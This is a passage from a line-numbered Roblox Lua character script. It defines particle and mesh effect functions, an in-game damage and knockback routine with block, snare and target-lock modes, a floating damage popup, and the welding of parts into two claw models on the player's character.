  2124. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2125. game:GetService("Debris"):AddItem(prt,2)
  2126. coroutine.resume(coroutine.create(function(Part,Mesh)
  2127. for i=0,1,0.03 do
  2128. wait()
  2129. Part.CFrame=Part.CFrame
  2130. Part.Transparency=i
  2131. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2132. end
  2133. Part.Parent=nil
  2134. end),prt,msh)
  2135. end
  2136.  
  2137. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2138. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2139. prt.Anchored=true
  2140. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2141. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2142. game:GetService("Debris"):AddItem(prt,2)
  2143. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2144. CF=Part.CFrame
  2145. Numbb=0
  2146. randnumb=math.random()/10
  2147. rand1=math.random()/10
  2148. for i=0,1,rand1 do
  2149. wait()
  2150. CF=CF*cf(0,math.random()/2,0)
  2151. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2152. Part.CFrame=CF*euler(Numbb,0,0)
  2153. Part.Transparency=i
  2154. Numbb=Numbb+randnumb
  2155. end
  2156. Part.Parent=nil
  2157. end),prt,CF,Numbb,randnumb)
  2158. end
  2159.  
  2160. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2161. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2162. prt.Anchored=true
  2163. prt.CFrame=cframe
  2164. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2165. game:GetService("Debris"):AddItem(prt,5)
  2166. coroutine.resume(coroutine.create(function(Part,Mesh)
  2167. for i=0,1,delay do
  2168. wait()
  2169. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2170. Part.Transparency=i
  2171. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2172. end
  2173. Part.Parent=nil
  2174. end),prt,msh)
  2175. end
  2176.  
  2177. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2178. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2179. prt.Anchored=true
  2180. prt.CFrame=cframe
  2181. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2182. game:GetService("Debris"):AddItem(prt,2)
  2183. coroutine.resume(coroutine.create(function(Part,Mesh)
  2184. for i=0,1,delay do
  2185. wait()
  2186. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2187. Part.Transparency=i
  2188. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2189. end
  2190. Part.Parent=nil
  2191. end),prt,msh)
  2192. end
  2193.  
  2194. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2195. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2196. prt.Anchored=true
  2197. prt.CFrame=cframe*cf(x,y,z)
  2198. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2199. game:GetService("Debris"):AddItem(prt,5)
  2200. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2201. local num=math.random()
  2202. local num2=math.random(-3,2)+math.random()
  2203. local numm=0
  2204. for i=0,1,delay*2 do
  2205. swait()
  2206. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2207. Part.Transparency=i
  2208. numm=numm+0.01
  2209. end
  2210. Part.Parent=nil
  2211. Mesh.Parent=nil
  2212. end),prt,msh,x,y,z)
  2213. end
  2214.  
  2215. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2216. if hit.Parent==nil then
  2217. return
  2218. end
  2219. h=hit.Parent:FindFirstChild("Humanoid")
  2220. for _,v in pairs(hit.Parent:children()) do
  2221. if v:IsA("Humanoid") then
  2222. h=v
  2223. end
  2224. end
  2225. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2226. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2227. end
  2228. if hit.Parent.className=="Hat" then
  2229. hit=hit.Parent.Parent:findFirstChild("Head")
  2230. end
  2231. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2232. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2233. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2234. return
  2235. end]]
  2236. -- hs(hit,1.2)
  2237. c=Instance.new("ObjectValue")
  2238. c.Name="creator"
  2239. c.Value=game:service("Players").LocalPlayer
  2240. c.Parent=h
  2241. game:GetService("Debris"):AddItem(c,.5)
  2242. Damage=math.random(minim,maxim)
  2243. -- h:TakeDamage(Damage)
  2244. blocked=false
  2245. block=hit.Parent:findFirstChild("Block")
  2246. if block~=nil then
  2247. print(block.className)
  2248. if block.className=="NumberValue" then
  2249. if block.Value>0 then
  2250. blocked=true
  2251. if decreaseblock==nil then
  2252. block.Value=block.Value-1
  2253. end
  2254. end
  2255. end
  2256. if block.className=="IntValue" then
  2257. if block.Value>0 then
  2258. blocked=true
  2259. if decreaseblock~=nil then
  2260. block.Value=block.Value-1
  2261. end
  2262. end
  2263. end
  2264. end
  2265. if blocked==false then
  2266. -- h:TakeDamage(Damage)
  2267. h.Health=h.Health-Damage
  2268. showDamage(hit.Parent,Damage,.5,TorsoColor)
  2269. else
  2270. h.Health=h.Health-(Damage/2)
  2271. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2272. end
  2273. if Type=="Knockdown" then
  2274. hum=hit.Parent.Humanoid
  2275. hum.PlatformStand=true
  2276. coroutine.resume(coroutine.create(function(HHumanoid)
  2277. swait(1)
  2278. HHumanoid.PlatformStand=false
  2279. end),hum)
  2280. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2281. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2282. local bodvol=Instance.new("BodyVelocity")
  2283. bodvol.velocity=angle*knockback
  2284. bodvol.P=5000
  2285. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2286. bodvol.Parent=hit
  2287. rl=Instance.new("BodyAngularVelocity")
  2288. rl.P=3000
  2289. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2290. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2291. rl.Parent=hit
  2292. game:GetService("Debris"):AddItem(bodvol,.5)
  2293. game:GetService("Debris"):AddItem(rl,.5)
  2294. elseif Type=="Normal" then
  2295. vp=Instance.new("BodyVelocity")
  2296. vp.P=500
  2297. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2298. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2299. if KnockbackType==1 then
  2300. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2301. elseif KnockbackType==2 then
  2302. vp.velocity=Property.CFrame.lookVector*knockback
  2303. end
  2304. if knockback>0 then
  2305. vp.Parent=hit.Parent.Torso
  2306. end
  2307. game:GetService("Debris"):AddItem(vp,.5)
  2308. elseif Type=="Up" then
  2309. local bodyVelocity=Instance.new("BodyVelocity")
  2310. bodyVelocity.velocity=vt(0,10,0)
  2311. bodyVelocity.P=1000
  2312. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2313. bodyVelocity.Parent=hit
  2314. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2315. rl=Instance.new("BodyAngularVelocity")
  2316. rl.P=3000
  2317. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2318. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2319. rl.Parent=hit
  2320. game:GetService("Debris"):AddItem(rl,.5)
  2321. elseif Type=="Snare" then
  2322. bp=Instance.new("BodyPosition")
  2323. bp.P=2000
  2324. bp.D=100
  2325. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2326. bp.position=hit.Parent.Torso.Position
  2327. bp.Parent=hit.Parent.Torso
  2328. game:GetService("Debris"):AddItem(bp,1)
  2329. elseif Type=="Target" then
  2330. if Targetting==false then
  2331. ZTarget=hit.Parent.Torso
  2332. coroutine.resume(coroutine.create(function(Part)
  2333. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2334. swait(5)
  2335. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2336. end),ZTarget)
  2337. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2338. targetgui=Instance.new("BillboardGui")
  2339. targetgui.Parent=ZTarget
  2340. targetgui.Size=UDim2.new(10,100,10,100)
  2341. targ=Instance.new("ImageLabel")
  2342. targ.Parent=targetgui
  2343. targ.BackgroundTransparency=1
  2344. targ.Image="rbxassetid://4834067"
  2345. targ.Size=UDim2.new(1,0,1,0)
  2346. cam.CameraType="Scriptable"
  2347. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2348. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2349. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2350. Targetting=true
  2351. RocketTarget=ZTarget
  2352. for i=1,Property do
  2353. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2354. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2355. swait()
  2356. end
  2357. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2358. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2359. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2360. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2361. end
  2362. Targetting=false
  2363. RocketTarget=nil
  2364. targetgui.Parent=nil
  2365. cam.CameraType="Custom"
  2366. end
  2367. end
  2368. debounce=Instance.new("BoolValue")
  2369. debounce.Name="DebounceHit"
  2370. debounce.Parent=hit.Parent
  2371. debounce.Value=true
  2372. game:GetService("Debris"):AddItem(debounce,Delay)
  2373. c=Instance.new("ObjectValue")
  2374. c.Name="creator"
  2375. c.Value=Player
  2376. c.Parent=h
  2377. game:GetService("Debris"):AddItem(c,.5)
  2378. CRIT=false
  2379. hitDeb=true
  2380. AttackPos=6
  2381. end
  2382. end
  2383.  
  2384. showDamage=function(Char,Dealt,du,Color)
  2385. m=Instance.new("Model")
  2386. m.Name=tostring(Dealt)
  2387. h=Instance.new("Humanoid")
  2388. h.Health=0
  2389. h.MaxHealth=0
  2390. h.Parent=m
  2391. c=Instance.new("Part")
  2392. c.Transparency=0
  2393. c.BrickColor=TorsoColor
  2394. c.Name="Head"
  2395. c.TopSurface=0
  2396. c.BottomSurface=0
  2397. c.formFactor="Plate"
  2398. c.Size=Vector3.new(1,.4,1)
  2399. ms=Instance.new("CylinderMesh")
  2400. ms.Scale=Vector3.new(.8,.8,.8)
  2401. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2402. if CRIT==true then
  2403. ms.Scale=Vector3.new(1,1.25,1)
  2404. end
  2405. ms.Parent=c
  2406. c.Reflectance=0
  2407. Instance.new("BodyGyro").Parent=c
  2408. c.Parent=m
  2409. if Char:findFirstChild("Head")~=nil then
  2410. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2411. elseif Char.Parent:findFirstChild("Head")~=nil then
  2412. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2413. end
  2414. f=Instance.new("BodyPosition")
  2415. f.P=2000
  2416. f.D=100
  2417. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2418. f.position=c.Position+Vector3.new(0,3,0)
  2419. f.Parent=c
  2420. game:GetService("Debris"):AddItem(m,.5+du)
  2421. c.CanCollide=false
  2422. m.Parent=workspace
  2423. c.CanCollide=false
  2424. end
  2425.  
  2426. Player=game:GetService('Players').LocalPlayer
  2427. Character=Player.Character
  2428. Mouse=Player:GetMouse()
  2429. m=Instance.new('Model',Character)
  2430.  
  2431.  
  2432. local function weldBetween(a, b)
  2433. local weldd = Instance.new("ManualWeld")
  2434. weldd.Part0 = a
  2435. weldd.Part1 = b
  2436. weldd.C0 = CFrame.new()
  2437. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2438. weldd.Parent = a
  2439. return weldd
  2440. end
  2441.  
  2442. it=Instance.new
  2443.  
  2444. function nooutline(part)
  2445. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2446. end
  2447.  
  2448. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2449. local fp=it("Part")
  2450. fp.formFactor=formfactor
  2451. fp.Parent=parent
  2452. fp.Reflectance=reflectance
  2453. fp.Transparency=transparency
  2454. fp.CanCollide=false
  2455. fp.Locked=true
  2456. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2457. fp.Name=name
  2458. fp.Size=size
  2459. fp.Position=Character.Torso.Position
  2460. nooutline(fp)
  2461. fp.Material=material
  2462. fp:BreakJoints()
  2463. return fp
  2464. end
  2465.  
  2466. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2467. local mesh=it(Mesh)
  2468. mesh.Parent=part
  2469. if Mesh=="SpecialMesh" then
  2470. mesh.MeshType=meshtype
  2471. mesh.MeshId=meshid
  2472. end
  2473. mesh.Offset=offset
  2474. mesh.Scale=scale
  2475. return mesh
  2476. end
  2477.  
  2478. function weld(parent,part0,part1,c0,c1)
  2479. local weld=it("Weld")
  2480. weld.Parent=parent
  2481. weld.Part0=part0
  2482. weld.Part1=part1
  2483. weld.C0=c0
  2484. weld.C1=c1
  2485. return weld
  2486. end
  2487.  
  2488. local modelzorz=Instance.new("Model")
  2489. modelzorz.Parent=Character
  2490. modelzorz.Name="Claw1"
  2491.  
  2492. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2493. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2494. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2495. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2496. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2497. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2498. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2499. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2500. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2501. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2502. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2503. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2504. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2505. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2506. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2507. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2508. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2509. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2510. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2511. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2512. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2513. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2514. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2515. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2516. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2517. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2518. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2519. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2520. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2521. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2522. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2523. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2524. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2525. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2526. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2527. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2528. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2529. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2530. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2531. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2532. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2533.  
  2534. local modelzorz2=Instance.new("Model")
  2535. modelzorz2.Parent=Character
  2536. modelzorz2.Name="Claw2"
  2537.  
  2538. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2539. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2540. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2541. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2542. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2543. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2544. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2545. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2546. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2547. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2548. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2549. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2550. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2551. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2552. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2553. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2554. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2555. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2556. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2557. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2558. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2559. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2560. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2561. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2562. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2563. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
